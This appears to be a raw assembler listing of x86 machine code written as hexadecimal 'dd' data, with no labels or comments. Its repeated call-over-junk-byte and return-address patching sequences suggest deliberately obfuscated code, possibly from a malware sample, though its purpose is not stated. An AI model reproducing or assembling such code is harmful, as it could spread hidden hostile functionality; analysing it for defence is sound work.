		dd 62C29DDh, 840FC00Bh,	74h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 4AC35646h, 0F5DB5D7Fh, 518D8DC9h
		dd 1062C4Fh, 2C01799Dh,	5B806h,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0FFFC08C3h
		dd 50006AE1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0D9EF8116h, 0F96A39EEh, 6818D8Dh, 0BD2B062Ch
		dd 62C2981h, 70D9529h, 1C7062Ch, 54CA95A5h, 1B659589h
		dd 181062Ch, 1499CFCBh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 6DC35343h, 9589989Eh,	62C0B45h, 8E9h
		dd 0D60DE900h, 1F79FE43h, 71858929h, 0C7062C13h, 59690441h
		dd 6ACE5Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 871434C3h, 67ED52F2h, 4181FB8Bh, 0D6D71004h
		dd 53006A31h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0CD8D89F6h, 6A062C1Fh, 0A9958900h, 8D062C1Bh
		dd 2C068185h, 52509006h, 9E9h, 0DA267E00h, 59327264h, 310F4F96h
		dd 60F7B160h, 585A6161h, 0EFBF5250h, 5E5FC2EFh,	55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0D3B03349h, 95FFD08Bh, 62C1981h, 818D8DF9h, 6A062C06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0F63BC351h, 1ABFE2ACh, 0C175BA8Dh, 1C7F78Bh
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0D2C35040h
		dd 0D374322Fh, 98FA768Fh, 1AA99509h, 41C7062Ch,	4, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 29F84978h, 2C10F9BDh, 0FC00B06h, 7784h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 4B9B533Fh, 0A21FEC90h, 19860Fh, 14E90000h, 0A0000000h
		dd 18C35979h, 7B1D3F6h,	7367CF9Bh, 2FBD90Fh, 8D5E135Bh
		dd 2C4F518Dh, 5B806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 13BD18C3h, 1DDBF66h
		dd 9D31E1FFh, 62C2095h,	0B8E9CA03h, 8BFFFFF0h, 2C2645B5h
		dd 6AC18B06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 969CC351h, 81284FB4h, 59EA40EFh
		dd 4EB0Bh, 0F000000h, 88Ah, 95895000h, 62C1AF5h, 51006A5Eh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 1770A865h, 0FF9B70Fh, 858DFFB7h, 62C32A5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 71C35141h, 8A95C9A6h
		dd 1A2960B0h, 9D9EBED7h, 505076EAh, 0DE952h, 0A16F0000h
		dd 0AD80E8CDh, 0BFD479C5h, 0FA0AC1Ch, 89585A31h, 0BD312404h
		dd 62C1A11h, 8B60006Ah,	2C2A49B5h, 6800F06h, 81000000h
		dd 74B767C1h, 6A6109h, 0EE9h, 0A6CB3A00h, 7D91F5B3h, 7E178DF9h
		dd 8D167917h, 2FE30E85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 20751368h, 0E06419BEh
		dd 0CEBF667Dh, 5C0832Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 1EC35545h, 0DA786A59h, 505F5190h, 6A90FE8Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0B5F0C352h, 2D3F8968h, 5680E0E8h,	14059D89h
		dd 895E062Ch, 2C14C18Dh, 60006A06h, 9D2932B1h, 62C10C9h
		dd 6A006A61h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0DF47C357h, 0D107B5Dh,	56DD0F97h
		dd 5FFE8B66h, 0F15DBF66h, 239D95FFh, 6A062Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 2D5BA4C3h
		dd 429D8DF5h, 6A062FA0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 3B52C357h, 39E037h
		dd 0F9BAC45h, 58Bh, 2CD0BF00h, 0D3FF2C0Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3EC35242h, 52D0003Eh
		dd 89DB58Bh, 85FF062Ch,	62C1A69h, 9B5E9h, 0E800h, 815D0000h
		dd 2FE318EDh, 0A9BD8B06h, 81062C26h, 2C1E15BDh,	7D006h
		dd 0B3860F00h, 6A000001h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0AB86C351h,	88696636h
		dd 0A436C9B9h, 200DBD89h, 9D8B062Ch, 62C2A39h, 0C466EF81h
		dd 0E3813A09h, 100h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 46C35343h, 0DB0BD117h, 0B5850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0DE98DC3h, 0A6000000h, 0AA97B262h, 97F561AEh, 9D60A4C7h
		dd 0E10DBD83h, 0F00062Fh, 3C84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0A1DDB2A0h
		dd 0E6758173h, 11B5339Ch, 0E9062C21h, 80h, 8E9h, 9393B000h
		dd 6E242E04h, 0D85C71Ch, 1062FE1h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 4E80C355h, 1738DEF4h, 0B5898943h, 62C2049h, 3BE9h, 95B52300h
		dd 0C7062C25h, 2FE10D85h, 6, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 820FFCA4h
		dd 2, 0BD8BF08Bh, 62C0AADh, 2A399D8Dh, 6A062Ch,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0A4CCBBC3h, 302DB757h, 890FE95Bh, 16h, 11E9h, 230BB300h
		dd 0AFD31490h, 0D6E77FAh, 816F695h, 0FE9B08Dh, 36000000h
		dd 0D3E0D1E7h, 6561FE7Bh, 2A931940h, 238123C3h,	0FFFFFEFFh
		dd 29DDB58Bh, 8C66062Ch, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 9FCDAE9Eh, 0F04C3F6h
		dd 5184h, 0E995FF00h, 89062C29h, 2C15B985h, 0AE99006h
		dd 82000000h, 0FC6A6593h, 1043D077h, 52505005h,	58D0Fh
		dd 46BF0000h, 0F0F1F0Ah, 0BF665031h, 5A5F70DCh,	6A9058h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 38E9ACC3h, 6A000005h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 5311C353h, 13EADD45h
		dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0F541DAC3h, 5DA0D377h, 81B58BC6h,	0E6062C0Eh
		dd 50006A70h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 3B4A3F70h, 1C0BEE8Fh, 0D858938h,	0E4062C0Eh
		dd 53006A71h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 13445563h, 8247F391h, 0F860AC7Dh, 6149D480h
		dd 6AD8B60Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 7141C352h, 81CF50DCh, 140F40DFh
		dd 6BA29h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0F6F7C3h, 66AAE458h, 9AACDF81h
		dd 4D9D2360h, 0E9062C23h, 13h, 0B3E37FF0h, 7737F00h, 0BFC778BDh
		dd 914758A9h, 61BCB3BFh, 23F5C38Bh, 2C08DDB5h, 4E8C106h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E3C35343h
		dd 0F766A622h, 0C8B6BFE2h, 0D82B7F48h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 44C35545h, 66A92081h, 82E9E681h
		dd 8B525050h, 0E9310FFBh, 10h, 5A39DACDh, 0B0FFF05Eh, 921A22CFh
		dd 2C2221ECh, 1C89585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0ADA52D6Ah, 0FF6AFAD8h
		dd 2C1E15B5h, 0F5B58B06h, 0FF062C20h, 2C26B195h, 1C8C0F06h
		dd 0F000000h, 1689h, 10E800h, 9A5B0000h, 2A8202E0h, 0A4C0589Ch
		dd 0F572797Bh, 0B05E91DAh, 6A70E600h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 732FC356h
		dd 0B140837h, 6E9h, 3648C800h, 0E9F08AD5h, 0Fh,	7EFEEE58h
		dd 0DB73738h, 8CC25F64h, 0E433DC1Ah, 57006A71h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 572685D3h
		dd 0FAD10159h, 6E95039h, 0F2000000h, 3B2EE53Ch,	0B5295EE3h
		dd 62C0E99h, 2615B58Bh,	613C062Ch, 2C5830Fh, 14E80000h
		dd 0A2000000h, 0D1A6C9C9h, 0B51A5711h, 0CEAE810Ah, 47E32E9h
		dd 66BABE2Bh, 659BEE81h, 0D8B60F5Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A2C35545h, 0B2F8B072h
		dd 6BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 880C8204h, 0FF037462h, 0BD8BA82Dh
		dd 62C0EC5h, 8BF08B66h,	4E8C1C3h, 7B36E781h, 0F766429Fh
		dd 50006AE2h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 9EA5C46Dh, 0F021AAC0h, 9D82B58h,	2C1C158Dh
		dd 6A5806h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0E7EDD2C3h, 8CBE252Eh, 3880Fh, 0B70F0000h
		dd 0FD82BF7h, 1E288h, 31BD3100h, 0B9062C19h, 7,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 59C35343h, 0FE9h
		dd 88F5B800h, 1E72D8F5h, 466B0561h, 0AAF878F8h,	4FDB58Bh
		dd 0C183062Ch, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0D7A9D423h, 54B357B0h
		dd 61F8FC60h, 0AADBD8Bh, 0D93B062Ch, 169860Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 887A1FC3h, 0BD018390h, 62C0525h, 6AD98C66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 4792C357h, 0BD8B270Bh, 62C0E89h, 0F04C1F6h, 0EA84h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 9DC549D9h, 0B5632F1h, 0EC5BD23h,	95FF062Ch
		dd 62C29E9h, 6A5BFCh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 24C83DC3h, 0E955FC10h, 0Ch, 0EC815893h
		dd 1E1A263Eh, 41EF1119h, 0B0D78152h, 5F3CDC89h,	749BD8Bh
		dd 0C32B062Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	81C35242h, 0FD647B81h, 0E8A44FE0h, 0F7BF0FF1h
		dd 2259B589h, 343D062Ch, 0F000008h, 3E86h, 61E900h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E8CD45C3h, 10h, 1B399DFDh, 2158B39Bh, 0BBBB2796h, 0F7C5CBEFh
		dd 5BD29h, 8B5E062Ch, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 77ACC51h, 0AA0AF49Ah
		dd 8BF5D7A3h, 89D88BC3h, 2C023DB5h, 1985C706h, 7F062C08h
		dd 6A53B587h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0C604C351h, 0C9864532h, 0C08BB535h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0DFC35747h
		dd 0E33C70E7h, 6830F9Eh, 89000000h, 2C0F1985h, 91852906h
		dd 81062C34h, 2C1E15BDh, 7D006h, 5D850F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FF0BC357h, 2C1E1585h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 4617C52Bh
		dd 11E9h, 5CA77A00h, 89829B1Ch,	829C9471h, 32B41BB4h, 0B589635Bh
		dd 62C10A5h, 1E15B5FFh,	0BE66062Ch, 95FF3E2Dh, 62C26B1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 93C35040h
		dd 6A90DEF7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 8679C356h, 4AF1C575h, 0BD8B385Dh
		dd 62C255Dh, 0D0B1BE66h, 0BA0BE66h, 376EE781h, 6A7622h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0B2103AC3h, 8E9h, 3FB88400h,	0F7BEDE42h, 0BD03F9A3h
		dd 62C2C9Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0B8C35141h, 6660EE5Dh, 5412F381h, 89F3B70Fh, 2C1C4DBDh
		dd 61D98B06h, 14E956F8h, 66000000h, 80E576A0h, 84B4D580h
		dd 7DB4CCABh, 232AF3FEh, 5EC0B9A1h, 0BD1FFCBEh,	6D958910h
		dd 66062C1Fh, 6AF18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0AD817BC3h, 36AEF9BCh, 0F85703A3h
		dd 51006A5Fh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 28B887AAh, 0C010981Bh, 3595892Ch, 0E9062C0Fh
		dd 0FFFFF651h, 0DE09C681h, 0C18B1C93h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0FBC35141h,	63047671h, 4EBh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8BF4A8C3h, 2C0EA9BDh, 0F4C78106h,	8D282ACAh
		dd 2C32A585h, 359D8906h, 0E8062C10h, 11h, 0A1D19653h, 6711C11Fh
		dd 0B04781D5h, 0C67BBBE7h, 0DE8166BFh, 905EB2B1h, 50FA8B66h
		dd 6860Fh, 66560000h, 5FA119BFh, 6A006A90h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0BA86C356h
		dd 506430B0h, 0D6BE6687h, 6A006A15h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0E436C351h
		dd 0A2F3F6F8h, 0EEA6858Dh, 0BD29062Fh, 62C2185h, 9005C083h
		dd 16860Fh, 11E90000h, 9D000000h, 0DD721172h, 0F79554E1h
		dd 539BFB40h, 23FB6837h, 880F9050h, 6, 474D681h, 6A4E77h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 11C35747h
		dd 8B662A28h, 6A006AF3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 6622C355h, 239D95FFh
		dd 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 33D792C3h, 0DB3AE906h, 8D1268D8h,	2FA0429Dh
		dd 0D3FFF506h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0ABC35242h, 6DE5AB9h, 330A45AEh, 2C2569BDh, 68D0F06h
		dd 89000000h, 2C07058Dh, 6985FF06h, 6A062C1Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 8AAAC353h, 75EE9h, 0E800h, 815D0000h, 2FEEB0EDh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0A83DE9E3h, 1E15BD81h, 7D0062Ch, 860F0000h, 19Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 2CC35747h, 14AD9509h
		dd 8950062Ch, 2C1FA985h, 0CE85F06h, 8000000h, 0DB339AE4h
		dd 5D5E71F3h, 985AF64h,	2C0CC9B5h, 9D8B5E06h, 62C240Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C6C35646h
		dd 0B2EBBBF7h, 0A48C34A6h, 0E38117h, 6A000001h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 865FC352h, 0EFB90683h, 68D0F59h, 8B000000h, 2C0859B5h
		dd 0FDB0B06h, 0B785h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0D44CBDB3h, 4D732D60h
		dd 39BD8961h, 23062C13h, 2C120DB5h, 0ECBD8306h,	62FECh
		dd 37840Fh, 0BF0F0000h,	0EDB50BFAh, 0E9062C20h,	7Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7EC35646h, 4471B860h
		dd 0BD8B0F2Bh, 62C2C09h
		dd 0EC85C761h, 1062FECh, 1000000h, 2C345585h, 3EE906h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 8A98C5C3h, 296004A5h, 2C21DDBDh, 3D858906h
		dd 61062C12h, 0ECEC85C7h, 62Fh,	0BD8B0000h, 62C1B21h, 240D9D8Dh
		dd 14E8062Ch, 0DD000000h, 4D70DE3Ch, 4D371E90h,	0A7C15D7Dh
		dd 308C602Dh, 5FC60CC0h, 0FEFF2381h, 0CF81FFFFh, 7D768912h
		dd 0F6DB8C66h, 840F04C3h, 62h, 6860Fh, 0BD8B0000h, 62C2959h
		dd 29E995FFh, 6A062Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 5AAA0BC3h, 0A7A8D2A1h, 0FF18B66h
		dd 50F8F2B7h, 860Fh, 4890000h, 50006A24h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 10E99A03h
		dd 66000003h, 69E6E781h, 0BD0B00B0h, 62C04B9h, 76D78166h
		dd 0E470E6ABh, 57006A71h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0EA22BF7Ah, 4C9D8E62h
		dd 0F78B66B4h, 6AD8B60Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 5640C350h, 66549449h
		dd 6BAF98Bh, 0E8000000h, 5, 41065BE7h, 5FF08B69h, 6AC38Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 93BBCC3h, 46FE06AEh,	0C17AC955h, 6A04E8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 1E6CEBC3h
		dd 6690C9FBh, 9D89E2F7h, 62C1DA5h, 6650D82Bh, 1C89F78Bh
		dd 0FB8B6624h, 1E15B5FFh, 8B66062Ch, 0B195FFF2h, 0E9062C26h
		dd 0Ch,	748EDB40h, 0BDF2E84Fh, 9AB52A75h, 0AE900B0h, 55000000h
		dd 97D80076h, 0CA9AE530h, 2970E646h, 2C0B959Dh,	6A71E406h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 7084C353h, 96ABA673h, 6810Fh, 85890000h
		dd 62C0F4Dh, 830F613Ch,	1CBh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 4CC35040h, 0D3963560h, 0F0492A51h
		dd 0E78166B0h, 9589CE0Fh, 62C2745h, 9D8B60Fh, 2C34459Dh
		dd 6BA06h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0AA89CDC3h, 0BE66CAA0h, 0C38B464Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0CFC35747h
		dd 24544A9Eh, 92B8816Ch, 29CDB58Bh, 0E8C1062Ch,	0E7816604h
		dd 0F7663CF7h, 52006AE2h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 6AC3A376h, 2376B6CAh
		dd 9D31600Dh, 62C0EA1h,	0CE961h, 0CF160000h, 68964828h
		dd 67495B50h, 0D82B1A1Dh, 1675B533h, 6A58062Ch,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 819EC353h, 33A049FAh, 2BDD2BF9h, 0C0880FD8h,	8B000000h
		dd 2C24A9BDh, 7B906h, 0BD090000h, 62C0739h, 800Fh, 0C1830000h
		dd 0FD93B00h, 9E86h, 0F5A7BF00h, 8C660E72h, 0F3B70FD9h
		dd 0EAF68166h, 4C1F6C8h, 53840Fh, 95FF0000h, 62C29E9h
		dd 0A1B58B60h, 61062C13h, 0C5CE815Bh, 2B569060h, 0F88B66C3h
		dd 8343Dh, 2E860F00h, 3000000h,	2C1151B5h, 55E906h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B3B00C3h, 2C122DB5h, 6AC08B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 10ABC357h
		dd 6880FDDh, 8B000000h,	2C2BF9B5h, 55BD8B06h, 8B062C2Dh
		dd 31D88BC3h, 2C312585h, 3985C706h, 1F062C2Ah, 6619B649h
		dd 880FFA8Bh, 3, 8BF6B70Fh, 10E9C0h, 0C39B0000h, 0D1E415A2h
		dd 53A88EC7h, 551492D2h, 0BD81AB0Fh, 62C1E15h, 7D0h, 1B850Fh
		dd 0B70F0000h, 55BD8BFBh, 0FF062C1Ch, 2C1E1585h, 0A5B50106h
		dd 31062C1Eh, 2C2B3D9Dh, 15B5FF06h, 6A062C1Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 1516C355h, 2C6585B0h, 95FFFB8Bh, 62C26B1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D4C35545h, 1A4DB58Bh
		dd 6A90062Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 4A2C356h, 0B576F0DFh, 8B15C21Eh
		dd 2C2B1DB5h, 0F9BF0F06h, 0F599D09h, 8B60062Ch,	8D8952D1h
		dd 62C2265h, 6A615Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0FF302C3h, 890FF2BFh, 3,	33F5F28Bh
		dd 2C1571B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 66F95266h, 0FBAEC781h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 86C35343h, 0B86660D7h
		dd 8B661A5Dh, 0E19D89D7h, 61062C06h, 6E9h, 983BF00h, 89940A66h
		dd 2C2C21BDh, 91B58B06h, 6A062C32h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B10DC353h
		dd 0E9D30739h, 5, 3EA8132Dh, 55006ACAh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 8EA7CC8Ch
		dd 0EB988C48h, 0D59531B9h, 0E9062C23h, 0FFFFF8C5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 5DC35343h, 9858901h
		dd 8B062C0Ah, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0C8563153h, 0DE84737h, 0F8000000h
		dd 0D258EE4Ah, 0B663A239h, 9AEF649Dh, 87E78156h, 5F283158h
		dd 618D895Fh, 0EB062C1Fh, 4, 6AFB8B00h,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0AB66C351h
		dd 8D6421D6h, 2C32A585h, 45B50106h, 0F5062C1Dh,	0F525090h
		dd 28Fh, 0F5E5200h, 0FE831h, 0F78F0000h, 940E593Ah, 60C7E3B3h
		dd 3DA751E6h, 585A5E06h, 52525050h, 8C0Fh, 0F5F0000h, 72BE6631h
		dd 90585A63h, 4CF68166h, 6A006A1Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 474C351h
		dd 6A5C39h, 0C6DDBE66h,	0F840858Dh, 0BE66062Fh,	0C083F645h
		dd 6820F05h, 89000000h,	2C2A59B5h, 870F5006h, 0Ah, 8B0F60h
		dd 60000000h, 4896161h,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 36E31460h, 6A41CEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 32C35646h, 7EA415E2h
		dd 0AE007C86h, 89BD8B5Fh, 0F062C0Dh, 830FF8B7h,	4, 0BAC1BE66h
		dd 6E9006Ah, 6C000000h,	9E26FA9Ch, 9D95FF83h, 6A062C23h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 5088C352h, 10E9BBh, 0DD640000h, 24788433h
		dd 0D1878980h, 0F15DED00h, 9D8DACF2h, 62FA042h,	6AD3FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0D7D06BC3h, 13E8E1h,	0F5460000h, 418FB456h, 0F3C37A50h
		dd 0C335A7D9h, 0D5E389D4h, 79B53315h, 5E062C34h, 1A6985FFh
		dd 6A062Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FED82C3h, 1587h, 9E800h, 38B60000h,	2A0110BFh, 29C48519h
		dd 2C08758Dh, 89575F06h, 2C1D6985h, 5AE95E06h, 0E8000008h
		dd 0
		dd 4AED815Dh, 29062FF8h, 2C13ADBDh, 15BD8106h, 0D0062C1Eh
		dd 0F000007h, 1A786h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 7E513FDDh, 8BC129A9h
		dd 2C1AF19Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 7E6914B6h, 0E97DE371h, 0Dh, 9F975DA3h
		dd 0DBB6F9F4h, 0A10E7C14h, 0E3813Eh, 60000001h,	31859589h
		dd 0B61062Ch, 0D3850FDBh, 0F000000h, 82h, 4FBD8300h, 62FF6h
		dd 88840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 0E98C93C3h, 11h,	9130C3F1h, 73A4F8D2h
		dd 19E1089Ah, 295776C2h, 0B2E957h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0D0FB17C3h
		dd 8E8h, 3FB88400h, 0F7BEDE42h,	8D8960A3h, 62C0DB5h, 840Fh
		dd 5E610000h, 11E9h, 14798500h,	0AF25198Ah, 67C2B03Ch
		dd 0CDB2B0CCh, 85C7207Bh, 62FF64Fh, 1, 53E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 8E9EFh, 52E60000h, 5F9074F9h, 85C7635Eh, 62FF64Fh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 68C35545h
		dd 0A6BA44B6h, 1AF19D8Dh, 6A062Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0DD0846C3h, 0D4123B4Fh
		dd 0BBBF661Eh, 0FF23814Bh, 0BFFFFFFEh, 4CD33EB2h, 0FDB8C66h
		dd 1887h, 12E800h, 1DA50000h, 0DF8A140h, 8ADB7C6Fh, 0D0209206h
		dd 16BD2DB2h, 4C3F65Fh,	7D840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0A9F29CC3h
		dd 3E34FF5h, 29E995FFh,	0BD8B062Ch, 62C0179h, 8F9B58Bh
		dd 6050062Ch, 310F5250h, 585AB3B5h, 38F0Fh, 8B660000h
